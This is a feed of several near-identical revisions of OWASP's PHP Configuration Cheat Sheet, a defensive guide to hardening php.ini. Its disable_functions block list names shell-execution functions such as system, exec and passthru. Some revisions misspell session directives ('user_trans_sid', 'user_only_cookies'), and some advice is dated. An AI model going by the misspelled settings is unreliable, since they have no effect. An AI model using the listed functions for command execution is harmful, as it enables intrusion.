Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
  session.gc_maxlifetime  = 600&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.user_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.user_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238509</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238509"/>
				<updated>2018-03-12T03:29:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: session.user_trans_sid&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.user_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.user_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238508</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238508"/>
				<updated>2018-03-12T03:28:54Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.user_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new.&lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238507</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238507"/>
				<updated>2018-03-12T03:27:43Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
  safe_mode               = Off&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.use_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new. &lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238506</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238506"/>
				<updated>2018-03-12T03:27:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: register_globals&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
  register_globals        = Off&lt;br /&gt;
&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
